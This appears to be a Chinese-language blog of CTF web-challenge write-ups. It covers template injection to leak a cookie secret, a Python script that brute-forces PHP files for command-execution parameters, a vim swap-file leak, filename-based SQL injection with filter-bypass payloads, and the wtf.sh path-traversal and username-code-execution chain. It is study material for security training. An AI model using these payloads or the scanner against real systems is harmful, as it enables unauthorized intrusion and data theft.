之前有一个render没有用到,好像在哪里看到过这个render,百度了一下,发现它是Python框架Django的render()函数,看来,这个网站是使用了Django,但是好像没什么用
这个msg就是要学的新知识了,由msg可以想到模块注入
error?msg=Error{{1}}
页面返回Error1,说明的确存在模块注入
error?msg=Error{{}}
没有其它地方可以得到cookie_secret索性百度搜一下,百度啥都没搜出来,但是搜出来了别人的wp;
知道了cookie_secret存放在handler.settings中
所以在上面的模块注入中写入handler.settings
payload:
error?msg=Error{{handler.settings}}
得到:
根据之前的提示,先将/fllllllllllllag进行md5加密,再将cookie_secret和加密后的/fllllllllllllag拼接再一起再进行md5加密,即得到filehash。
直接在url后面写www.tar.gz,下载源码,源码很多,也有很多可以执行命令的函数;
但是,太多了,不知道拿个能用
从大佬那儿抓来的脚本:
import os
import requests
from multiprocessing import Pool
path = "D:php/PHPTutorial/WWW/src/"
files = os.listdir(path)
url = "http://localhost/src/"
def extract(f):
gets = []
with open(path+f, 'r') as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:
if line.find("$_GET['") > 0:
start_pos = line.find("$_GET['") + len("$_GET['")
end_pos = line.find("'", start_pos)
gets.append(line[start_pos:end_pos])
return gets
def exp(start, end):
for i in range(start, end):
filename = files[i]
gets = extract(filename)
print "try: %s" % filename
for get in gets:
new_url = "%s%s?%s=%s" % (url, filename, get, 'echo "got it"')
r = requests.get(new_url)
if 'got it' in r.content:
print new_url
break
def main():
pool = Pool(processes=15)
for i in range(0, len(files), len(files)/15):
pool.apply_async(exp, (i, +len(files)/15,))
pool.close()
pool.join()
if __name__ == "__main__":
main()
找到可执行的php
http://localhost/src/xk0SzyKwfzw.php?Efa5BVG=echo “got it”
因此也可以再网站上写:
url//xk0SzyKwfzw.php?Efa5BVG=%20cat%20/flag
可得到flag
审计一下,只要符合正则表达式:[a-z]+flag.{4,6}/[1-9]/:.*key
就输出flag;
挨着分析:
[a-z]:匹配a-z中的一个字符,key=a
+falg:key=aflag
.:匹配任意字符,key=aflagb
{4,6}:匹配4到6次;key=aflagbbbb
\/:表示 /,key=aflagbbbb/
[1-9]:匹配1到9中的一个数字;key=afalgbbbb/2
::就是:,key=aflagbbbb/2/:
.*key:直接匹配key,key=aflagbbbb/2/:key
最近遇见瓶颈,跳不过去,所以最近不想做web
https://mp.weixin.qq.com/s?__biz=MzI0Nzc0NTcwOQ==&mid=2247484681&idx=1&sn=cebc6e9693ef7fa671715b8137f28dae&chksm=e9aa18cbdedd91dd6ccafbfb0ac3af1fd4e362ab90a82da7e77fbf54e028e6d1db71e18be28c&mpshare=1&scene=23&srcid=&sharer_sharetime=1567072077141&sharer_shareid=54f9c24e5da78a40cd65864770c2b6f9#rd
题目已经没有了,但是从别人的wp那里学到了;
最开始点进去是一个登录框,但是,没什么用,因为源码可以发现一个地址;
访问这个地址,出现,听说你linux很6;当时就想到vim,文件泄露,可是自己太菜了;
那个时候直接.swp没有结果,就以为不是这个,唉,
paylaod:url/.xxx.php.swp
然后就得到了源码,
firstlevel();
?>
从别人的wp里面白嫖的代码,
一看到那个whoami,就可以想到php://input
paylaod:?a=whoami&fname=php://input
添加之后抓包回响,就得到一个地址,是一个文件上传,不能上传php文件,但可以上传html文件;
后面可以在一个网站里面发现file参数,wp的作者猜测file文件里面有文件包含,看不到原题了,我也不知道怎么猜的,然后上传一句话木马,
payload:就可得到geiflag的链接
这里我很有疑问,既然可以直接上传一句话木马,为什么要分析file参数呢
先随便上传一个图片;
上传之后不会返回图片路径,只会返回图片名称,尝试对文件名的注入
文件名:1' union select database().jpg
返回:
看来是过滤了union select
尝试双写绕过:
1' uniunionon seselectlect database().jpg
但是网页并不回显文件名。。。
当我想注释掉后面的语句时,出现:
后台语句大概为:
insert into tablename ('filename') values('myfilename',);
直接seleselectct database()也没有回显
以上得到的信息为,不能注释,不能使用union,select需要错位双写,
回显不能出现字母,可转成十进制,使用闭合
两个函数:
conv
用法: conv(数字,from_base,to_base),将数字从多少进制转到多少进制,所以使用它之前,还要先把输出转成其他进制
limit m,n
从第m条开始,取出n条;
limit 0,1 取出第一条
limit 1,1取出第二条
构造:
payload:1' +(seselectlect conv(hex(database()),16,10))+'.jpg
这样都还是没回显???
原来是输出有长度限制
payload:1' +(seselectlect conv(substr(hex(database()),1,11),16,10))+'.jpg
返回:
再:
1' +(seselectlect conv(substr(hex(database()),12,24),16,10))+'.jpg
整个库的名字:
7765625f757482855575910 —>web_upload
(不知道为什么,如果最开始是1,12的话,和12,24,12这个位置,数字不一样)
之后爆表名,字段,等等等等,payload:
1’+(selecselectt conv(substr(hex(concat_group(table_name) from information_schema.tables where table_schema=‘web_upload’),1,11),16,10) +’.jpg
这个也没有回显,看了大佬的wp,from被过滤,错位双写绕过
爆表:
'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),12,24),16,10))+'.jpg
注意hex后面一定是两个((
取出第二条,是因为,第二条的结果是:hello_flag_is_here
爆字段:
'+(seleselectct conv(substr(hex((selselectect column_name frfromom information_schema.columns where table_name = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg
得到:i_am_flag
爆内容:
'+(seleselectct conv(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
得到:flag
运行即得到flag
感觉有点像是文件包含,随便试一个文件路径,发现的确存在文件包含;向上目录看看:
http://111.198.29.45:48498/post.wtf?post=../
出现一堆源码,搜索flag:
从这里我们看见,只要cookie的USERNAME为admin,username为admin就能获得flag1;
cookie好改,那么username怎么办呢?
点开f12,发现出来USERNAME以外还有一个token;
并且源码中告诉我们有一个目录users,访问:
得到所有用户的token:
其中也包括admin的
伪造token和USERNAME之后刷新,成功登录admin
点击profile,在最下面找到flag的第一部分:
然后第二部分就是神仙打架了:
虽然欢迎界面叫做Welcome to the wtf.sh Forums!,但是我也不知道,也想不到直接:
http://111.198.29.45:48498/wtf.sh
出现503界面,一堆linux源码:
这么多非格式化的代码,也不知道是怎样的大神才做得出来
max_page_include_depth=64
page_include_depth=0
function include_page {
# include_page pathname
local pathname=$1
local cmd=
[[ ${pathname(-4)} = '.wtf' ]];
local can_execute=$;
page_include_depth=$(($page_include_depth+1))
if [[ $page_include_depth -lt $max_page_include_depth ]]
then
local line;
while read -r line; do
# check if we're in a script line or not ($ at the beginning implies script line)
# also, our extension needs to be .wtf
[[ $ = ${line01} && ${can_execute} = 0 ]];
is_script=$;
# execute the line.
if [[ $is_script = 0 ]]
then
cmd+=$'n'${line#$};
else
if [[ -n $cmd ]]
then
eval $cmd log Error during execution of ${cmd};
cmd=
fi
echo $line
fi
done ${pathname}
else
echo pMax include depth exceeded!
pfi
}
这段代码说明了服务器能解析wtf,所以如果我们能上传wtf文件并且执行,我们就能控制服务器
function reply {
local post_id=$1;
local username=$2;
local text=$3;
local hashed=$(hash_username "${username}");
curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
next_file=(posts/${post_id}/${next_reply_id});
echo "${username}" > "${next_file}";
echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
echo "${text}" >> "${next_file}";
# add post this is in reply to to posts cache
echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
}
这是评论功能的代码;
echo "${username}" > "${next_file}";
这句代码把用户名写入文件;如果用户名是可执行代码,而且写入的文件是 wtf 格式的,那么这个文件就能执行。 (而且wtf.sh只运行文件扩展名为.wtf的脚本和前缀为’$'的行)
神仙打架最激烈的部分:
首先随便回复,抓包看看结构:
这是普通回复:
然后进行路径穿越,注意:%09是水平制表符,必须添加,不然后台会把我们的后门当做目录去解析
访问路径:
111.198.29.45:48498/users_lookup/sh.wtf
${find,/,-name,get_flag2}
的用户
再进行以上操作,得到flag2的路径:
再注册一个用户名为:
$/usr/bin/get_flag2